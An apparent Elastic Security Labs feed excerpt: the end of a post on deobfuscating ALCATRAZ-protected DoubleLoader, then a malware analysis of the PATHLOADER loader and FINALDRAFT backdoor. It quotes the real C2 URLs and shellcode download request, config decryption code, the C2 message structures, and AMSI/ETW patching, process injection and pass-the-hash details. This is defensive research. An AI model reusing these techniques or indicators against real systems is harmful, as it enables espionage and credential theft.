<p>Upon launch at the <code>Start</code> export, one of the first calls goes to <code>loc_18016C6D9</code>. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at <code>0x18016C8C1</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image22.png" alt="Example of DoubleLoader causing error in IDA Pro" title="Example of DoubleLoader causing error in IDA Pro" /></p>
<p>If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (<code>EB FF</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image24.png" alt="Anti-disassembly technique in DoubleLoader" title="Anti-disassembly technique in DoubleLoader" /></p>
<p>After fixing 6 nearby occurrences of this same technique, we can go back to the start address (<code>0x18016C6D9</code>) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image7.gif" alt="DoubleLoader function with ALCATRAZ obfuscation" title="DoubleLoader function with ALCATRAZ obfuscation" /></p>
<p>Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant <code>”Error”</code> is now recovered using the earlier solution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image8.gif" alt="Restoring string constant from LEA obfuscation" title="Restoring string constant from LEA obfuscation" /></p>
<p>Another example below shows the transformation of an obfuscated parameter for a <code>LoadIcon</code> call where the <code>lpIconName</code> parameter gets cleaned to <code>0x7f00</code> (<code>IDI_APPLICATION</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image25.gif" alt="Restoring LoadIcon parameter from immediate mov obfuscation" title="Restoring LoadIcon parameter from immediate mov obfuscation" /></p>
<p>Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image4.gif" alt="Decompilation cleanup of DoubleLoader function using D810" title="Decompilation cleanup of DoubleLoader function using D810" /></p>
<p>This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.</p>
<h2>IDA Python Scripts</h2>
<p>Our team is releasing a series of proof-of-concept <a href="https://github.com/elastic/labs-releases/tree/main/tools/alcatraz">IDA Python scripts</a> used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.</p>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoubleLoader.yar">Windows.Trojan.DoubleLoader</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>3050c464360ba7004d60f3ea7ebdf85d9a778d931fbf1041fa5867b930e1f7fd</code></td>
<td align="left">SHA256</td>
<td align="left"><code>DoubleLo.dll</code></td>
<td align="left">DOUBLELOADER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/weak1337/Alcatraz">https://github.com/weak1337/Alcatraz</a></li>
<li><a href="https://gitlab.com/eshard/d810">https://gitlab.com/eshard/d810</a></li>
<li><a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">https://eshard.com/posts/d810-deobfuscation-ida-pro</a></li>
<li><a href="http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/">http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/alcatraz.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
            <link>https://www.elastic.co/pt/security-labs/finaldraft</link>
            <guid>finaldraft</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h1>Technical Analysis</h1>
<h2>PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3>Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3>API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p>
<h3>String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p>
<h3>Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2>FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3>Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p>
<h3>Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID.</p>
<h4>Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code class="language-c">for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code class="language-c">uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code class="language-c">struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4>Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p>
<h3>Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.</li>
<li>Read and delete command request email drafts created by the C2.</li>
<li>Process commands</li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code class="language-c">struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code class="language-c">struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code class="language-c">struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p>
<h3>Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<table>
<thead>
<tr>
<th align="left">ID</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">GatherComputerInformation</td>
</tr>
<tr>
<td align="left">2</td>
<td align="left">StartTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">3</td>
<td align="left">StopTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">ConnectToTcpTargetStartProxyToC2</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">SetSleepValue</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td>
</tr>
<tr>
<td align="left">8</td>
<td align="left">ConnectToTcpTarget</td>
</tr>
<tr>
<td align="left">9</td>
<td align="left">SendDataToUdpOrTcpTarget</td>
</tr>
<tr>
<td align="left">10</td>
<td align="left">CloseTcpConnection</td>
</tr>
<tr>
<td align="left">11</td>
<td align="left">DoProcessInjectionSendOutputEx</td>
</tr>
<tr>
<td align="left">12</td>
<td align="left">ListFiles</td>
</tr>
<tr>
<td align="left">13</td>
<td align="left">ListAvailableDrives</td>
</tr>
<tr>
<td align="left">14</td>
<td align="left">CreateDirectory</td>
</tr>
<tr>
<td align="left">15</td>
<td align="left">DeleteFileOrDirectory</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">DownloadFile</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">UploadFile0</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">DummyFunction</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">SetCurrentDirectory</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">GetCurrentDirectory</td>
</tr>
<tr>
<td align="left">21</td>
<td align="left">ListRunningProcesses</td>
</tr>
<tr>
<td align="left">24</td>
<td align="left">DoProcessInjectionNoOutput</td>
</tr>
<tr>
<td align="left">25</td>
<td align="left">DoProcessInjectionNoOutput (Same as 24)</td>
</tr>
<tr>
<td align="left">26</td>
<td align="left">DoProcessInjectionSendOutput1</td>
</tr>
<tr>
<td align="left">28</td>
<td align="left">DisconnectFromNamedPipe</td>
</tr>
<tr>
<td align="left">30</td>
<td align="left">ConnectToNamedPipeAndProxyMessageToC2</td>
</tr>
<tr>
<td align="left">31</td>
<td align="left">GetCurrentProcessTokenInformation</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">EnumerateActiveSessions</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">ListActiveTcpUdpConnections</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">MoveFile1</td>
</tr>
<tr>
<td align="left">36</td>
<td align="left">GetOrSetFileTime</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">UploadFile1</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">MoveFile0</td>
</tr>
<tr>
<td align="left">42</td>
<td align="left">CopyFileOrCopyDirectory</td>
</tr>
<tr>
<td align="left">43</td>
<td align="left">TerminateProcess</td>
</tr>
<tr>
<td align="left">44</td>
<td align="left">CreateProcess</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT command handler table</em></p>
<h3>Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code class="language-c">struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<table>
<thead>
<tr>
<th align="left">Public service</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxps://ip-api.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipinfo.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://myexternalip.com/raw</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipapi.co/json/</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://jsonip.com/</code></td>
</tr>
</tbody>
</table>
<p><em>IP lookup service list</em></p>
<h3>Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p>
<h3>Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p>
<h3>File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p>
<h3>Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p>
<h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p>
<h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
